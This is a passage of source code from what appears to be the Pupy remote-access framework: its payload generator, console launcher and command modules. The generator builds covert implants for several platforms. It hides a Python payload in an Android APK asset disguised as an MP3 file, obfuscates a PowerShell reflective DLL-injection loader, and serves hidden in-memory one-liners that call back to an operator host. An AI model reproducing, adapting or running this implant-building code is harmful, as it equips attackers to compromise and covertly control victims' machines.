in new_conf[:64] ), len(new_conf) ) uncompressed = len(new_conf) new_conf = pylzma.compress(new_conf) compressed = len(new_conf) new_conf = struct.pack('>II', compressed, uncompressed) + new_conf new_conf_len = len(new_conf) if new_conf_len > HARDCODED_CONF_SIZE: raise Exception( 'Error: config or offline script too long ({}/{} bytes)' 'You need to recompile the dll with ' 'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE) ) #if not is_pyoxidizer: # new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len) #else: # new_conf = new_conf + (b"#"*(HARDCODED_CONF_SIZE-new_conf_len)) logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len) offset = offsets[0] logger.debug('Editing config at offset : %d', offset) logger.debug('First compressed bytes written: %s', ' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]]) ) binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):] if binary[:2] == b'MZ': pe = pefile.PE(data=binary, fast_load=True) pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum() binary = pe.write() return binary def get_raw_conf(display, conf, verbose=False): credentials = Credentials(role='client') if 'offline_script' not in conf: offline_script = '' else: offline_script = conf['offline_script'] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.transport transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for name in transports: transports_list.append(name) transports_conf = transports[name] if transports_conf.credentials: for cred_name in transports_conf.credentials: required_credentials.add(cred_name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List( available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)') ) ) if not_available: display( List( not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)') ) ) embedded_credentials = { credential: credentials[credential] for credential in required_credentials if credentials[credential] is not None } if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if ( k in ('offline_script') and v ) else ( unicode(v) if type(v) not in (tuple, list, set) else ' '.join( unicode(x) for x in v ) ) } for k, v in conf.items() if v] display( Table( config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1 ) ) config = { 'credentials': embedded_credentials, 'scriptlets': [offline_script] or [], 'debug': conf.get('debug', False), 'launcher': conf['launcher'], 'launcher_args': conf['launcher_args'], 'cid': conf.get('cid', 0x31338), 'delays': conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300) ]) } return config def updateZip(zipname, filename, data): # generate a temp file tmpfd, tmpname = tempfile.mkstemp(dir=os.path.dirname(zipname)) os.close(tmpfd) # create a temp copy of the archive without filename with zipfile.ZipFile(zipname, 'r') as zin: with zipfile.ZipFile(tmpname, 'w') as zout: zout.comment = zin.comment # preserve the comment for item in zin.infolist(): if item.filename != filename: zout.writestr(item, zin.read(item.filename)) # replace with the temp archive os.remove(zipname) os.rename(tmpname, zipname) # now add filename with its new data with zipfile.ZipFile( zipname, mode='a', compression=zipfile.ZIP_DEFLATED) as zf: zf.writestr(filename, data) def updateTar(arcpath, arcname, file_path): tempdir = tempfile.mkdtemp(prefix='tmp_pupy_') try: with tarfile.open(arcpath, 'r') as tfr: names = tfr.getnames() tfr.extractall(tempdir) for root, dirs, files in os.walk(tempdir): for dir in dirs: os.chmod(os.path.join(root, dir), 0o700) for file in files: os.chmod(os.path.join(root, file), 0o600) with tarfile.open(arcpath+'2', 'w:gz') as tfw: for n in names: if n != arcname: tfw.add( os.path.join(tempdir, n), arcname=n, recursive=False ) else: tfw.add( file_path, arcname=n, recursive=False ) shutil.copy(arcpath+'2', arcpath) finally: shutil.rmtree(tempdir) def get_edit_apk(target, display, path, conf): credentials = Credentials(role='control') priv_key = credentials['APK_PRIV_KEY'] pub_key = credentials['APK_PUB_KEY'] if not priv_key or not pub_key: raise ValueError( 'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY ' 'credentials missing (old credentials)' ) tempdir = tempfile.mkdtemp(prefix="tmp_pupy_") fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_") try: packed_payload = pack_py_payload( target, display, get_raw_conf(display, conf), autostart=False ) shutil.copy(path, tempapk) # extracting the python-for-android install tar from the apk zf = zipfile.ZipFile(path, 'r') zf.extract('assets/private.mp3', tempdir) zf.close() with open(os.path.join(tempdir, 'pp.py'), 'w') as w: w.write(packed_payload) with open(os.path.join(tempdir, 'pp.pyo'), 'wb') as out: out.write( pupycompile( os.path.join(tempdir, "pp.py"), target=target.pyver ) ) display(Success('Packaging the apk ... (can take 10-20 seconds)')) # updating the tar with the new config updateTar( os.path.join(tempdir, 'assets/private.mp3'), 'pp.pyo', os.path.join(tempdir, 'pp.pyo') ) # repacking the tar in the apk with open(os.path.join(tempdir, 'assets/private.mp3'), 'rb') as t: updateZip(tempapk, 'assets/private.mp3', t.read()) # signing the tar result = BytesIO() jarsigner(priv_key, pub_key, tempapk, result) return result.getvalue() finally: # cleaning up shutil.rmtree(tempdir, ignore_errors=True) os.unlink(tempapk) def generate_ps1( display, conf, target, outpath=False, output_dir=False, as_str=False): SPLIT_SIZE = 100000 code = """ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """ payload = base64.b64encode( generate_binary_from_template( display, conf, target, shared=True )[0] ) if isinstance(payload, bytes): payload = payload.decode('ascii') parts = [ payload[i:i+SPLIT_SIZE] for i in xrange( 0, len(payload), SPLIT_SIZE ) ] init_code = [] concat_code = [] for i, aPart in enumerate(parts): init_code.append( '$PEBytes{0}="{1}"\n'.format(i, aPart) ) concat_code.append( '$PEBytes{0}'.format(i) ) display(Success('{0} variables used'.format(i + 1))) script = obfuscatePowershellScript( open( os.path.join( ROOT, 'external', 'PowerSploit', 'CodeExecution', 'Invoke-ReflectivePEInjection.ps1' ), 'r' ).read() ) # adding some more obfuscation random_name = ''.join([ random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12)) ]) script = script.replace('Invoke-ReflectivePEInjection', random_name) code = code.replace('Invoke-ReflectivePEInjection', random_name) payload = '{0}\n{1}'.format( script, code.format( ''.join(init_code), '+'.join(concat_code) ) ) if as_str: return payload if not outpath: outfile = tempfile.NamedTemporaryFile( dir=output_dir or '.', prefix='pupy_', suffix='.ps1', delete=False ) else: try: os.unlink(outpath) except OSError: pass outfile = open(outpath, 'w+') outpath = outfile.name outfile.write(payload) outfile.close() return outpath def generate_binary_from_template( display, conf, target, shared=False, fmt=None): config = PupyConfig() TEMPLATE_FMT = fmt or 'pupy{arch}{debug}-{pyver}.{ext}' CLIENTS = { 'android': (get_edit_apk, 'pupy.apk', False), 'linux': (get_edit_binary, TEMPLATE_FMT, True), 'solaris': (get_edit_binary, TEMPLATE_FMT, True), 'windows': (get_edit_binary, TEMPLATE_FMT, False), } SUFFIXES = { 'windows': ('exe', 'dll'), 'linux': ('lin', 'lin.so'), 'solaris': ('sun', 'sun.so'), } if target.os not in CLIENTS: raise ValueError( 'Unknown OS ({}), known = {}'.format( target.os, ', '.join(CLIENTS) ) ) generator, template, makex = CLIENTS[target.os] if '{arch}' in template and not target.arch: raise ValueError( 'arch required for the target OS ({})'.format(target.os) ) arch = make_template_arch(target.arch) shared_ext = 'xxx' non_shared_ext = 'xxx' if target.os in SUFFIXES: non_shared_ext, shared_ext = SUFFIXES[target.os] debug_fmt = 'd' if target.debug else '' if shared: makex = False ext = shared_ext else: ext = non_shared_ext filename = template.format( arch=arch, debug=debug_fmt, ext=ext, pyver=target.pyver_str ) # search in project root first template = os.path.join( ROOT, 'payload_templates', filename ) # finally search in user directory if not os.path.isfile(template): templatedir = os.path.join( config.user_root, 'payload_templates' ) if not os.path.isdir(templatedir): display(Error("payload binary templates are not available.")) display(Info("You must compile them or download precompiled templates.")) res=input(f"Do you want to download precompiled templates from {PRECOMPILED_TEMPLATES_DOWNLOAD_URL} ? Y/n ") if res.lower().strip()=="y" or res.lower().strip()=="yes" or res.lower().strip()=="": dst=os.path.join(config.user_root, "payload_templates.txz") raise NotImplementedError("TODO: download precompiled templates") download(PRECOMPILED_TEMPLATES_DOWNLOAD_URL, dst) template = os.path.join( config.user_root, 'payload_templates', filename ) if not os.path.isfile(template): raise ValueError('Template not found ({})'.format(template)) display(Info("Using template: {}".format(template))) if target.debug: conf['debug'] = True config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if ( k in ('offline_script') and v ) else ( unicode(v) if type(v) not in (tuple, list, set) else ' '.join(unicode(x) for x in v) ) } for k, v in conf.items() if v] display( Table( config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1 ) ) return generator( target, display, template, conf ), filename, makex def pack_scriptlets( display, scriptlets, args_scriptlet, os=None, arch=None, pyver=None, debug=False): sp = ScriptletsPacker(os, arch) for sc in args_scriptlet: tab = sc.split(",", 1) sc_args = {} name = tab[0] if len(tab) == 2: try: for x, y in (x.strip().split("=") for x in tab[1].split(",")): sc_args[x.strip()] = y.strip() except Exception as e: raise ValueError( 'Invalid aruments ({}), expected: key=value'.format(e) ) if name not in scriptlets: raise ValueError( "unknown scriptlet {}, valid choices are: {}".format( repr(name), [ x for x in scriptlets ]) ) display(Success( 'loading scriptlet {}{}'.format( repr(name), 'with args {}'.format( ' '.join( '{}={}'.format(k, repr(v)) for k, v in sc_args.items() ) ) if sc_args else '') )) try: sp.add_scriptlet(scriptlets[name], sc_args) except ScriptletArgumentError as e: display(MultiPart([ Error('Scriptlet {} argument error: {}'.format( repr(name), str(e)) ), scriptlets[name].format_help() ])) raise ValueError('{}'.format(e)) script_code = sp.pack() return script_code class InvalidOptions(Exception): pass PAYLOAD_FORMATS = [ 'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'csharp', '.NET', '.NET_oneliner', 'pyoxidizer' ] CLIENT_OS = ['android', 'windows', 'linux', 'solaris'] CLIENT_ARCH = ['x86', 'x64', 'armhf'] def get_parser(base_parser, config): parser = base_parser( description='Generate payloads for windows, linux, osx and android.' ) pyver = parser.add_mutually_exclusive_group() pyver.add_argument( '--python38', action='store_true', help='Use python38 target (windows 7 supported)' ) parser.add_argument( '-f', '--format', default=config.get('gen', 'format'), choices=PAYLOAD_FORMATS, help="(default: client)" ) parser.add_argument( '-O', '--os', default=config.get('gen', 'os'), choices=CLIENT_OS, help='Target OS (default: windows)' ) parser.add_argument( '-A', '--arch', default=config.get('gen', 'arch'), choices=CLIENT_ARCH, help='Target arch (default: x86)' ) parser.add_argument( '-U', '--uncompressed', default=False, action='store_true', help='Use uncompressed template' ) parser.add_argument( '-P', '--packer', default=config.get('gen', 'packer'), help='Use packer when \'client\' output format (default: %(default)s)' ) parser.add_argument( '-S', '--shared', default=False, action='store_true', help='Create shared object' ) parser.add_argument( '-o', '--output', help="output filename" ) parser.add_argument( '-d', '--delays-list', action='append', type=str, metavar=('', '', ''), nargs=3, help='Format: ' ) default_payload_output = '.' try: default_payload_output = config.get_path( 'payload_output', dir=True ) except ValueError as e: logger.error( 'Invalid value for "payload_output" in config file: %s', e ) parser.add_argument( '-D', '--output-dir', default=default_payload_output, help="output folder (default: %(default)s)" ) parser.add_argument( '-s', '--scriptlet', default=[], action='append', help='offline python scriptlets to execute before ' 'starting the connection. Multiple scriptlets can be privided.' ) parser.add_argument( '-l', '--list', action='store_true', help="list available formats, transports, scriptlets and options" ) parser.add_argument( '-E', '--prefer-external', action='store_true', default=config.getboolean('gen', 'external'), help="In case of autodetection prefer external IP" ) parser.add_argument( '--no-use-proxy', action='store_true', help="Don't use the target's proxy configuration even if it is " "used by target (for ps1_oneliner only for now)" ) parser.add_argument( '--oneliner-nothidden', default=False, action='store_true', help="Powershell script not hidden target side (default: %(default)s)" ) parser.add_argument( '--debug-scriptlets', action='store_true', help="don't catch scriptlets exceptions on the client " "for debug purposes" ) parser.add_argument( '--debug', action='store_true', help="build with the debug template (the payload open a console)" ) parser.add_argument( '--workdir', help='Set Workdir (Default = current workdir)' ) parser.add_argument( 'launcher', choices=[ x for x in launchers ], default=config.get('gen', 'launcher') or 'connect', nargs='?', help="Choose a launcher. Launchers make payloads behave " "differently at startup." ) parser.add_argument( 'launcher_args', default=config.get('gen', 'launcher_args'), nargs=argparse.REMAINDER, help="launcher options" ) return parser def pupygen(args, config, pupsrv, display): scriptlets = load_scriptlets(args.os, args.arch) if args.list: display(MultiPart([ Table( [{ 'FORMAT': fmt, 'DESCRIPTION': description } for fmt, description in (( 'client', 'generate client binary (linux/windows/apk/..)' ), ( 'pyoxidizer', 'generate client binary using pyoxidizer template (linux only for now). The advantage of this method is that the binary is fully static and embeds a static python interpreter' ), ( 'py', 'fully packaged python file' ), ( 'py_oneliner', 'same as \'py\' format ' 'but served over http' ), ( 'ps1', 'generate ps1 file which embeds pupy dll ' '(x86-x64) and inject it to current process' ), ( 'ps1_oneliner', 'load pupy remotely from memory with a ' 'single command line using powershell' ), ( 'csharp', 'generate C# source (.cs) that executes pupy' ), ( '.NET', 'compile a C# payload into a windows executable.' ), ( '.NET_oneliner', 'Loads .NET assembly from memory ' 'via powershell' ))], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f )', 'yellow') ), Table( [{ 'TRANSPORT': name, 'DESCRIPTION': t.info } for name, t in transports.items()], ['TRANSPORT', 'DESCRIPTION'], Color('Available transports (usage: -t )', 'yellow') ), Table( [{ 'SCRIPTLET': name, 'DESCRIPTION': sc.description, 'ARGS': '; '.join( '{}={}'.format(k, v) for k, v in sc.arguments.items() ) } for name, sc in scriptlets.items()], ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color( 'Available scriptlets for {}/{} ' '(usage: -s [,arg1=value1,arg2=value2]'.format( args.os or 'any', args.arch or 'any'), 'yellow') ) ])) raise NoOutput() if args.workdir: os.chdir(args.workdir) script_code = '' try: if args.scriptlet: script_code = pack_scriptlets( display, scriptlets, args.scriptlet, os=args.os, arch=args.arch, debug=args.debug_scriptlets ) except ValueError as e: display(Error(str(e))) raise NoOutput() launcher = launchers[args.launcher] while True: try: launcher.arg_parser.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") \ and "--host" not in args.launcher_args: myip = get_listener_ip( external=args.prefer_external, config=config ) if not myip: raise ValueError( "--host parameter missing and couldn't " "find your local IP. You must precise " "an ip or a fqdn manually" ) myport = get_listener_port( config, external=args.prefer_external ) display(Warn( 'Required argument missing, automatically ' 'adding parameter --host {}:{} from local ' 'or external ip address'.format(myip, myport)) ) if '-t' in args.launcher_args or \ '--transport' in args.launcher_args: args.launcher_args += [ '--host', '{}:{}'.format(myip, myport) ] else: args.launcher_args += [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') \ and '--domain' not in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: display(Error('DNSCNC disabled!')) return display(Warn( 'Required argument missing, automatically adding parameter' '--domain {} from configuration file'.format(domain) )) args.launcher_args = [ '--domain', domain ] else: display(launcher.arg_parser.format_help()) return else: break conf = { 'launcher': args.launcher, 'launcher_args': args.launcher_args, 'offline_script': script_code, 'debug': args.debug, 'cid': random.SystemRandom().getrandbits(32) } if args.delays_list: int_delays = [] for d, mi, ma in args.delays_list: if d.strip()=="i" or d.strip()=="infinite": d=-1 try: d=int(d) except: raise ValueError("invalid value : %s. Attempts can be \"i\" for infinite or an integer" % d) try: mi=int(mi) except: raise ValueError("invalid value : %s. min_delay needs to be an integer" % d) try: ma=int(ma) except: raise ValueError("invalid value : %s. min_delay needs to be an integer" % d) return int_delays.append((d, mi, ma)) conf['delays'] = sorted( int_delays, key=lambda x: (x[0] if x[0]!=-1 else 9999999999) ) outpath = args.output if not os.path.isdir(args.output_dir): display(Success( 'Creating the local folder {} for generating payloads'.format( repr(args.output_dir)) )) os.makedirs(args.output_dir) pyver = get_pyver( 38 if args.python38 else 310, config ) target = dependencies.Target( (int(pyver[0]), int(pyver[1:])), (args.os, args.arch), args.debug ) if args.format == 'client' or args.format=='pyoxidizer': display(Success('Generate client: {}/{}'.format(args.os, args.arch))) fmt=None if args.format=="pyoxidizer": fmt='pupy{arch}-{pyver}.pyoxidizer.{ext}' data, filename, makex = generate_binary_from_template( display, conf, target, shared=args.shared, fmt=fmt ) if not outpath: template, ext = filename.rsplit('.', 1) outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix=template+'.', suffix='.'+ext, delete=False ) else: outpath=os.path.expanduser(outpath) try: os.unlink(outpath) except OSError as e: if e.errno == errno.EEXIST: pass outfile = open(outpath, 'w+b') outfile.write(data) outfile.close() if makex: os.chmod(outfile.name, 0o711) if args.packer: packingFinalCmd = args.packer.replace('%s', outfile.name) display( 'Packing payload with this command: {}'.format( packingFinalCmd ) ) subprocess.check_call( packingFinalCmd, shell=True ) outpath = outfile.name elif args.format in ('py', 'pyinst'): linux_modules = '' if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.py', delete=False ) else: try: os.unlink(outpath) except OSError as e: if e.errno == errno.EEXIST: pass outfile = open(outpath, 'w+b') if args.format == 'pyinst': linux_modules = getLinuxImportedModules() packed_payload = pack_py_payload( target, display, get_raw_conf(display, conf, verbose=True), purepy=True ) outfile.write( '\n'.join([ '#!/usr/bin/env python', '# -*- coding: utf-8 -*-', linux_modules, packed_payload ]).encode('utf-8')) outfile.close() outpath = outfile.name elif args.format == 'py_oneliner': packed_payload = pack_py_payload( target, display, get_raw_conf( display, conf, verbose=True ), purepy=True ) if not isinstance(packed_payload, bytes): packed_payload = packed_payload.encode('ascii') try: i = conf['launcher_args'].index('--host') + 1 link_ip = conf['launcher_args'][i].split(':', 1)[0] except ValueError: link_ip = None for listener in pupsrv.get_listeners().values(): if listener.external is not None: link_ip = str(listener.external) break serve_payload( display, pupsrv, packed_payload, link_ip=link_ip ) raise NoOutput() elif args.format == 'csharp': if args.os != 'windows': raise ValueError('This format only supports windows') rawdll = generate_binary_from_template( display, conf, target, shared=True )[0] dn = DotNetPayload( display, pupsrv, conf, rawdll, outpath=outpath, output_dir=args.output_dir ) outpath = dn.gen_source() elif args.format == '.NET': if args.os != 'windows': raise ValueError('This format only supports windows') rawdll = generate_binary_from_template( display, conf, target, shared=True )[0] dn = DotNetPayload( display, pupsrv, conf, rawdll, outpath=outpath, output_dir=args.output_dir ) outpath = dn.gen_exe() if outpath is None: raise NoOutput() elif args.format == '.NET_oneliner': if args.os != 'windows': raise ValueError('This format only supports windows') link_ip = None try: i = conf['launcher_args'].index('--host')+1 link_ip, _ = conf['launcher_args'][i].split(':', 1) except ValueError: pass rawdll = generate_binary_from_template( display, conf, target, shared=True )[0] dotnet_serve_payload(display, pupsrv, rawdll, conf, link_ip=link_ip) raise NoOutput() elif args.format == 'ps1': if args.os != 'windows': raise ValueError('This format only supports windows') outpath = generate_ps1( display, conf, target, outpath=outpath, output_dir=args.output_dir ) elif args.format == 'ps1_oneliner': if conf['launcher'] in ['connect', 'auto_proxy']: from pupy.pupylib.payloads.ps1_oneliner import serve_ps1_payload link_ip = conf["launcher_args"][ conf["launcher_args"].index("--host")+1].split(":", 1)[0] if not args.no_use_proxy: useTargetProxy = True else: useTargetProxy = False serve_ps1_payload( display, pupsrv, conf, target, link_ip=link_ip, useTargetProxy=useTargetProxy, nothidden=args.oneliner_nothidden ) raise NoOutput() elif conf['launcher'] == 'bind': from pupy.pupylib.payloads.ps1_oneliner import send_ps1_payload outpath, target_ip, bind_port = "", None, None bind_port = conf["launcher_args"][ conf["launcher_args"].index("--port")+1] if '--oneliner-host' in conf['launcher_args']: target_ip = conf['launcher_args'][ conf['launcher_args'].index('--oneliner-host')+1] send_ps1_payload( display, conf, target, bind_port=bind_port, target_ip=target_ip, nothidden=args.oneliner_nothidden ) display(Success( 'You have to connect manually to the target {1} ' 'with "connect --host {0}:{1}"'.format( target_ip, bind_port) )) raise NoOutput() else: raise ValueError( 'You have to give me the --oneliner-host argument' ) else: raise ValueError( 'ps1_oneliner with {0} mode is not implemented yet'.format( conf['launcher'] ) ) else: raise ValueError("Type %s is invalid." % (args.format)) display(Success('OUTPUT_PATH: {}'.format(os.path.abspath(outpath)))) display(Success('SCRIPTLETS: {}'.format(args.scriptlet))) display(Success('DEBUG: {}'.format(args.debug))) return os.path.abspath(outpath) def main(): from pupy.pupylib.utils.term import as_term_bytes from traceback import print_exc def display(data): sys.stdout.buffer.write(as_term_bytes(data)) sys.stdout.write('\n') Credentials.DEFAULT_ROLE = 'CLIENT' config = PupyConfig() Credentials(config=config, validate=True) parser = get_parser(argparse.ArgumentParser, config) try: args = parser.parse_args() pupygen(args, config, None, display) except NoOutput: sys.exit(0) except InvalidOptions: sys.exit(1) except (ValueError, EncryptionError) as e: if args.debug: print_exc() display(Error(e)) except Exception as e: print_exc() sys.exit(str(e)) if __name__ == '__main__': main() ================================================ FILE: pupy/cli/pupysh.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # -------------------------------------------------------------- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED # TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE # -------------------------------------------------------------- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import os import logging import argparse args = None def parse_args(): parser = argparse.ArgumentParser(prog='pupysh', description="Pupy console") parser.add_argument( '--loglevel', '-d', help='change log verbosity', dest='loglevel', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR'], default='WARNING') parser.add_argument('--logfile', '-DF', help='log to file', dest='logfile', default=None) parser.add_argument( '-l', '--listen', help='Bind server listener with transport and args to port.' 'Example: -l ssl 127.0.0.1:443 -l kcp 80 -l xyz 1234 OPTION1=value OPTION2=value.', nargs='+', metavar=('TRANSPORT', '<IP>:PORT OPTION=value'), action='append', default=[] ) parser.add_argument( '--workdir', help='Set Workdir (Default = current workdir)') parser.add_argument('-NE', '--not-encrypt', help='Do not encrypt configuration', action='store_true') parser.add_argument('--sound', dest='sounds', help='Play a sound when a session connects', action='store_true') return parser try: import pupy.pupylib.PupySignalHandler assert pupy.pupylib.PupySignalHandler except ImportError: pass from pupy.pupylib import ( PupyServer, PupyCmdLoop, PupyCredentials, PupyConfig ) def main(): parser = parse_args() args = parser.parse_args() if args.workdir: os.chdir(args.workdir) if os.getuid() == 0 and os.getgid() == 0: wdstat = os.stat(args.workdir) os.setresgid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid) os.setresuid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid) root_logger = logging.getLogger() if args.logfile: logging_stream = logging.FileHandler(args.logfile) logging_stream.setFormatter( logging.Formatter( '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s')) else: logging_stream = logging.StreamHandler() logging_stream.setFormatter(logging.Formatter('%(asctime)-15s| %(name)s| %(message)s')) logging_stream.setLevel(logging.DEBUG) root_logger.handlers = [] root_logger.addHandler(logging_stream) root_logger.setLevel(args.loglevel) PupyCredentials.DEFAULT_ROLE = 'CONTROL' if args.not_encrypt: PupyCredentials.ENCRYPTOR = None # Try to initialize credentials before CMD loop try: credentials = PupyCredentials.Credentials(validate=True) except PupyCredentials.EncryptionError as e: logging.error(e) exit(1) config = PupyConfig() if args.listen: listeners = { x[0]: x[1:] if len(x) > 1 else [] for x in args.listen } config.set('pupyd', 'listen', ','.join(listeners)) for listener in listeners: args = listeners[listener] if args: config.set('listeners', listener, ' '.join(args)) pupyServer = PupyServer(config, credentials) pupycmd = PupyCmdLoop(pupyServer) pupyServer.start() pupycmd.loop() pupyServer.stop() pupyServer.finished.wait() if __name__ == "__main__": main() ================================================ FILE: pupy/commands/__init__.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function __all__ = ('InvalidCommand', 'Commands') import os import imp from pupy.pupylib.PupyCompleter import commands_completer from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.network.lib.convcompat import shlex class InvalidCommand(Exception): pass class CommandsNamespace(object): __slots__ = ('module', 'args') def __init__(self, module, args): self.module = module self.args = args class Commands(object): SUFFIXES = tuple([ suffix for suffix, _, rtype in imp.get_suffixes() \ if rtype == imp.PY_SOURCE ]) def __init__(self): self._commands = {} self._commands_stats = {} self._refresh() def _refresh(self): commands_paths = [ os.path.dirname(__file__) ] files = {} for path in commands_paths: files.update({ '.'.join(x.rsplit('.', 1)[:-1]):os.path.join(path, x) \ for x in os.listdir(path) if x.endswith(self.SUFFIXES) and \ not x.startswith('__init__') }) for command in files: source = files[command] try: current_stat = os.stat(source) except OSError: continue if command not in self._commands or self._commands_stats[command] != current_stat.st_mtime: try: self._commands[command] = imp.load_source(command, source) self._commands_stats[command] = current_stat.st_mtime except IOError: pass def _get_command(self, cmdline, aliases, modules, refresh=True): argv = shlex.split(cmdline) if not argv: raise InvalidCommand(cmdline) argv0 = argv[0] args = [] if len(argv) > 1: args = argv[1:] if argv0 in aliases: aliased = aliases[argv0] if '{' in aliased or '%' in aliased: aargv = shlex.split(aliased.format(*args)) argv0, args = aargv[0], aargv[1:] else: aargv = shlex.split(aliased) argv0, args = aargv[0], aargv[1:] + args if argv0 not in self._commands and refresh: self._refresh() if argv0 not in self._commands: found = False for module in modules: if argv0 == module.get_name(): args.insert(0, argv0) argv0 = 'run' found = True break if not found: raise InvalidCommand(argv0) return self._commands[argv0], args def has(self, command): if command not in self._commands: self._refresh() return command in self._commands def get(self, command): if command not in self._commands: self._refresh() return self._commands.get(command) def execute(self, server, handler, config, cmdline, clients_filter=None): aliases = dict(config.items('aliases')) command, args = self._get_command( cmdline, aliases, server.iter_modules( by_clients=True, clients_filter=clients_filter or handler.default_filter )) parser = command.parser if callable(parser): parser = parser(server, handler, config) parsed_args = parser.parse_args(args) old_filter = handler.default_filter if clients_filter: handler.default_filter = clients_filter try: command.do(server, handler, config, parsed_args) finally: if clients_filter and handler.default_filter == clients_filter: handler.default_filter = old_filter def list(self, refresh=True): if refresh: self._refresh() for command in self._commands: module = self._commands[command] yield command, module.usage def completer(self, context, cmdline): server, handler, config = context.server, context.handler, context.config aliases = dict(config.items('aliases')) modules = list(server.iter_modules( by_clients=True, clients_filter=handler.default_filter)) try: command, args = self._get_command(cmdline, aliases, modules, False) parser = None if hasattr(command.parser, 'add_help'): parser = command.parser else: parser = command.parser(server, PupyArgumentParser, config) completer = parser.get_completer() return completer.complete, command.__name__, args except InvalidCommand: return commands_completer, '', '' ================================================ FILE: pupy/commands/config.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.pupylib.PupyOutput import Error, Pygment from pygments.lexers.configs import IniLexer from argparse import REMAINDER usage = 'Work with configuration file' parser = PupyArgumentParser(prog='config', description=usage) commands = parser.add_subparsers(title='commands', dest='command') cmdlist = commands.add_parser('list', help='list configured options') cmdlist.add_argument('section', help='list section', nargs='?', default='') cmdlist.add_argument('-s', '--sections', help='list sections', action='store_true') cmdset = commands.add_parser('set', help='set config option') cmdset.add_argument('-w', '--write-project', action='store_true', default=False, help='save config to project folder') cmdset.add_argument('-W', '--write-user', action='store_true', default=False, help='save config to user folder') cmdset.add_argument('section', help='config section') cmdset.add_argument('key', help='config key') cmdset.add_argument('value', help='value') cmdset.add_argument('args', nargs=REMAINDER, help='rest args') cmdunset = commands.add_parser('unset', help='unset config option') cmdunset.add_argument('-w', '--write-project', action='store_true', default=False, help='save config to project folder') cmdunset.add_argument('-W', '--write-user', action='store_true', default=False, help='save config to user folder') cmdunset.add_argument('section', help='config section') cmdunset.add_argument('keys', nargs='*', help='config key') cmdsave = commands.add_parser('save', help='save config') cmdsave.add_argument('-w', '--write-project', action='store_true', default=True, help='save config to project folder') cmdsave.add_argument('-W', '--write-user', action='store_true', default=False, help='save config to user folder') def do(server, handler, config, args): if args.command == 'list': result = [] for section in config.sections(): if args.section and args.section != section: continue result.append('[{}]'.format(section)) if args.sections: continue for variable in config.options(section): result.append('{} = {}'.format( variable, config.get(section, variable) )) result.append('') handler.display(Pygment(IniLexer(), '\n'.join(result))) elif args.command == 'set': try: value = args.value if 